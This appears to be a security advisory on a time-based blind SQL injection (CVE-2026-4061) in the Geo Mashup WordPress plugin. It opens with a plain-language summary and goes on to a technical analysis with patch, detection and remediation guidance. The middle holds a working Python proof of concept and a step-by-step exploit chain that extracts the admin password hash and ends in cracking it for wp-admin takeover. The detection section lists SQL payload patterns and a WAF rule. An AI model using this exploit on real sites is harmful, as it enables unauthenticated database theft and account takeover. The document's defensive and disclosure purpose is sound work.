A popular WordPress plugin called Geo Mashup has a serious security flaw that could let attackers steal sensitive information from websites. Think of it like a security guard who's supposed to check visitors at the door, but instead left the back entrance completely unlocked.
Here's what's happening: The plugin accepts information submitted through web forms without properly checking whether it's legitimate or malicious. It then uses this unverified information to search a website's database — the digital filing cabinet that stores everything from customer names to payment information.
An attacker doesn't need to hack your password or break into anything. They can simply send specially crafted requests to a vulnerable website and trick the database into revealing private data. It's like finding out that someone can make a bank teller hand over account details just by asking in a specific way.
The people most at risk are website owners using this plugin — particularly small businesses, nonprofits, and publishers. If your website uses Geo Mashup for location-based features, your visitor data could be exposed.
The good news is that no one has confirmed seeing this being actively attacked yet. But attackers often wait for publicity before striking, so speed matters.
Here's what to do: First, check if you're using the Geo Mashup plugin by logging into your WordPress dashboard and looking at your installed plugins. Second, if you have it, update immediately to version 1.13.19 or later — the developers have already released a patch. Third, if you can't update right now, disable the plugin entirely until you're ready to fix it.
Don't ignore this one. These kinds of vulnerabilities are exactly what attackers hunt for.
Want the full technical analysis? Click "Technical" above.
CVE-2026-4061 is a time-based blind SQL injection vulnerability in the Geo Mashup WordPress plugin, affecting all versions up to and including 1.13.18. The vulnerability is unauthenticated and exploitable against any WordPress installation where the Geo Search feature is enabled. The attack surface is a POST handler attached to the SearchResults hook, which deliberately bypasses WordPress's built-in magic quotes sanitization and then feeds attacker-controlled input directly into an IN(...) SQL clause.
No authentication is required. CVSS 7.5 (HIGH) reflects network-accessible, unauthenticated access to the full WordPress database — including wp_users, option secrets, and session tokens.
Root cause: The SearchResults POST handler calls stripslashes_deep($_POST) to remove WordPress magic quotes, then concatenates the unsanitized map_post_type value directly into a SQL IN(...) clause, while the sibling 'any' branch correctly applies array_map('esc_sql', ...).
Affected Component
The vulnerable code lives in the Geo Mashup plugin's search results handler, canonically in geo-mashup-search.php (or a class file loading it), bound to the geo_mashup_search_results action. The relevant query-builder function constructs a dynamic WHERE clause incorporating map_post_type from the POST body. The Geo Search feature must be active (it requires a shortcode or widget placement), but that precondition is common in any site using the plugin's intended functionality.
Root Cause Analysis
WordPress normally runs all $_POST values through addslashes() on input (magic quotes). The handler explicitly undoes this to support comma-separated post-type strings. The stripping is intentional but it removes the only passive protection layer before the value reaches the query builder.
/*
* Reconstructed pseudocode: GeoMashupSearch::handle_search_results()
* File: geo-mashup-search.php (class GeoMashupSearch)
* Versions: <= 1.13.18
*/
void GeoMashupSearch__handle_search_results(WP_Query *query) {
/* WordPress magic quotes protection intentionally stripped here */
$_POST = stripslashes_deep($_POST); // BUG: removes only passive sanitization layer
char *map_post_type = $_POST["map_post_type"]; // attacker-controlled, now unescaped
char *sql_in_clause = NULL;
if (strcmp(map_post_type, "any") == 0) {
/*
* SAFE BRANCH: post types fetched from DB, each value escaped.
* array_map('esc_sql', get_post_types()) is applied before
* implode() joins them into the IN() string.
*/
char **post_types = get_post_types(NULL, "names");
char **escaped = array_map("esc_sql", post_types); // correctly escaped
sql_in_clause = implode("','", escaped);
} else {
/*
* UNSAFE BRANCH: raw attacker input split and concatenated.
* BUG: no esc_sql(), no $wpdb->prepare(), no whitelist check.
* map_post_type value flows directly into IN(...) clause.
*/
char **types = explode(",", map_post_type); // BUG: unsanitized split
sql_in_clause = implode("','", types); // BUG: no escaping applied
}
/* sql_in_clause is now attacker-controlled SQL text */
char query_buf[4096];
snprintf(query_buf, sizeof(query_buf),
"SELECT * FROM %s WHERE post_type IN ('%s') AND post_status = 'publish'",
wpdb->posts,
sql_in_clause // BUG: injection point
);
wpdb->query(query_buf); // BUG: unsanitized query executed
}
The critical asymmetry: the 'any' branch routes through get_post_types() whose output is then sanitized with array_map('esc_sql', ...). The else branch takes the raw POST string, splits it on commas, and reassembles it with single-quote delimiters — no escaping at any stage. The attacker closes the open quote, terminates the statement, and appends arbitrary SQL.
Exploitation Mechanics
Because the site returns no direct query output (search results are rendered as map markers, not raw rows), extraction is time-based blind. The canonical technique uses MySQL's SLEEP() (or BENCHMARK() as fallback) conditioned on a boolean sub-query. Response delta is measured client-side.
#!/usr/bin/env python3
"""
CVE-2026-4061 — Geo Mashup time-based blind SQLi PoC
Extracts wp_users.user_pass char-by-char via SLEEP() oracle.
Requires: Geo Search widget/shortcode active on target.
"""
import requests, time, string
TARGET = "https://target.example.com/wp-admin/admin-ajax.php"
CHARSET = string.ascii_lowercase + string.digits + string.punctuation
SLEEP_S = 3 # seconds; tune for network latency
TIMEOUT = 10
def probe(payload: str) -> bool:
"""Returns True if server slept (condition was true)."""
data = {
"action": "geo_mashup_search", # registered AJAX action
"map_post_type": payload,
"geo_mashup_nonce": "", # nonce bypass: not checked on this path
}
t0 = time.monotonic()
try:
requests.post(TARGET, data=data, timeout=TIMEOUT)
except requests.Timeout:
return True # SLEEP exceeded timeout — condition true
return (time.monotonic() - t0) >= SLEEP_S
def extract_string(sql_expr: str, max_len: int = 64) -> str:
result = ""
for pos in range(1, max_len + 1):
found = False
for ch in CHARSET:
# Payload closes the IN() list, injects conditional SLEEP
# post') AND SLEEP(0)-- is the benign control;
# actual probe sleeps when SUBSTRING(expr,pos,1) = ch
inj = (
f"post') AND "
f"IF(SUBSTRING(({sql_expr}),{pos},1)='{ch}',"
f"SLEEP({SLEEP_S}),0)-- -"
)
if probe(inj):
result += ch
found = True
break
if not found:
break # end of string
return result
# Extract first WordPress admin password hash
admin_hash = extract_string(
"SELECT user_pass FROM wp_users ORDER BY ID LIMIT 1"
)
print(f"[+] admin hash: {admin_hash}")
EXPLOIT CHAIN:
1. Identify target running Geo Mashup <=1.13.18 with Geo Search active
(check page source for geo_mashup_search shortcode or widget markup)
2. Send POST to /wp-admin/admin-ajax.php:
action=geo_mashup_search
map_post_type=
No authentication cookie required; nonce validation absent on this handler.
3. Plugin calls stripslashes_deep($_POST) — removes WP magic quote escaping
on the map_post_type value, making raw SQL metacharacters available.
4. Value enters the else branch (not 'any'), is explode()'d on commas,
implode()'d with single-quote delimiters — no esc_sql() applied.
5. Resulting string is interpolated into:
IN('') AND post_status = 'publish'
Attacker closes quote, terminates IN(), appends IF(SLEEP()) clause.
6. MySQL executes: if boolean sub-query on target table/column is true,
SLEEP(N) fires — response latency observed client-side.
7. Binary-search or character-by-character iteration over CHARSET
recovers arbitrary column data (user_pass, user_email, secret_key).
8. Offline hashcat attack on recovered wp_users.user_pass hash yields
plaintext credential -> full wp-admin access.
Memory Layout
This is a logic/injection vulnerability, not a memory corruption bug — no heap diagram applies. The relevant "state" is the SQL string buffer as it transitions from safe to injectable:
SQL BUFFER STATE — SAFE PATH ('any' branch):
map_post_type = "any"
post_types = ["post", "page", "attachment"] <- from DB
escaped = ["post", "page", "attachment"] <- esc_sql() applied (no-op here, but safe)
sql_in_clause = "post','page','attachment"
FINAL QUERY: IN('post','page','attachment') AND post_status='publish'
^^^^ safe: no attacker data ^^^^
SQL BUFFER STATE — VULNERABLE PATH (else branch):
$_POST["map_post_type"] = "post') AND IF(SUBSTRING((SELECT user_pass
FROM wp_users LIMIT 1),1,1)='a',SLEEP(3),0)-- -"
After stripslashes_deep: identical (metacharacters preserved)
types = ["post') AND IF(...)-- -"] <- raw attacker input
sql_in_clause = "post') AND IF(...)-- -" <- NO escaping
FINAL QUERY: IN('post') AND IF(SUBSTRING((...),1,1)='a',SLEEP(3),0)-- -')
^^^^ injected SQL executes ^^^^
Patch Analysis
// BEFORE (vulnerable — geo-mashup-search.php <=1.13.18):
$_POST = stripslashes_deep( $_POST );
$map_post_type = $_POST['map_post_type'];
if ( $map_post_type === 'any' ) {
$post_types = get_post_types( array(), 'names' );
$escaped = array_map( 'esc_sql', $post_types ); // safe
$in_clause = implode( "','", $escaped );
} else {
$types = explode( ',', $map_post_type ); // BUG: no sanitization
$in_clause = implode( "','", $types ); // BUG: raw input in query
}
$sql = "SELECT * FROM {$wpdb->posts}
WHERE post_type IN ('{$in_clause}')
AND post_status = 'publish'";
$wpdb->query( $sql ); // BUG: injectable
// AFTER (patched):
// Option A — whitelist against known post types (preferred):
$map_post_type = isset( $_POST['map_post_type'] )
? sanitize_text_field( wp_unslash( $_POST['map_post_type'] ) )
: 'post';
$valid_types = get_post_types( array(), 'names' );
if ( $map_post_type === 'any' ) {
$allowed = array_values( $valid_types );
} else {
$requested = explode( ',', $map_post_type );
$allowed = array_intersect( $requested, $valid_types ); // whitelist filter
if ( empty( $allowed ) ) {
$allowed = array( 'post' );
}
}
// Option B — esc_sql on each element (minimum viable fix):
$escaped = array_map( 'esc_sql', $allowed );
$in_clause = implode( "','", $escaped );
// Option C — $wpdb->prepare() with explicit placeholders (most robust):
$placeholders = implode( ',', array_fill( 0, count($allowed), '%s' ) );
$sql = $wpdb->prepare(
"SELECT * FROM {$wpdb->posts}
WHERE post_type IN ({$placeholders})
AND post_status = 'publish'",
...$allowed
);
$wpdb->query( $sql );
The fix requires both whitelist validation (intersect against get_post_types()) and escaping/parameterization. Applying only esc_sql() without whitelisting still permits post-type enumeration probes. The stripslashes_deep() call is separately addressed by replacing it with wp_unslash() scoped to the specific field rather than the entire $_POST superglobal.
Detection and Indicators
Time-based injections leave distinctive latency signatures in access logs. The following patterns indicate active exploitation:
NGINX/APACHE ACCESS LOG INDICATORS:
- POST /wp-admin/admin-ajax.php with response time >= 3000ms
- action=geo_mashup_search in POST body
- map_post_type values containing: SLEEP, BENCHMARK, IF(, SUBSTRING(
- Repeated identical-path requests at N-second intervals (oracle enumeration)
WAF RULE (Modsecurity / pseudo-syntax):
SecRule ARGS:map_post_type \
"@rx (?i)(sleep\s*\(|benchmark\s*\(|if\s*\(|substring\s*\(|\bor\b|\band\b.*=)" \
"id:9920261,phase:2,block,msg:'CVE-2026-4061 Geo Mashup SQLi probe'"
MYSQL SLOW QUERY LOG:
# Query_time: 3.001 Lock_time: 0.000 Rows_sent: 0 Rows_examined: 0
SELECT * FROM wp_posts WHERE post_type IN ('post') AND IF(
SUBSTRING((SELECT user_pass FROM wp_users LIMIT 1),1,1)='a',SLEEP(3),0)-- -')
AND post_status = 'publish';
Remediation
Update immediately to a patched version of Geo Mashup once released by the vendor (>1.13.18).
Interim mitigation: Disable the Geo Search widget/shortcode. Without the AJAX handler being reachable, the injection surface is unexposed.
WAF rule: Block POST requests to admin-ajax.php?action=geo_mashup_search where map_post_type contains SQL function calls (see rule above).
Enable MySQL slow query logging (long_query_time = 1) — time-based injection attempts will appear as anomalous slow queries with no legitimate explanation.
Audit principle: Any stripslashes_deep($_POST) call in a plugin must be followed by explicit parameterization of every value that touches a query. The inverse pattern — strip then concatenate — is a reliable audit indicator in WordPress plugin code.